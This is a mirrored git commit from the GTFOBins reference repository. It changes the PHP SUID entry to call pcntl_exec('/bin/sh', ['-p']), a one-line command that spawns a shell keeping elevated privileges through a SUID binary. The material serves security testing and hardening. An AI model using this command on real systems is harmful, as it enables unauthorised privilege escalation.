mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 22:09:35 +01:00
Fix suid in PHP
This commit is contained in:
parent
f14e511218
commit
2377be5a55
@ -41,7 +41,7 @@ functions:
|
||||
suid:
|
||||
- code: |
|
||||
CMD="/bin/sh"
|
||||
./php -r "system('$CMD');"
|
||||
./php -r "pcntl_exec('/bin/sh', ['-p']);"
|
||||
sudo:
|
||||
- code: |
|
||||
CMD="/bin/sh"
|
||||
|
Loading…
Reference in New Issue
Block a user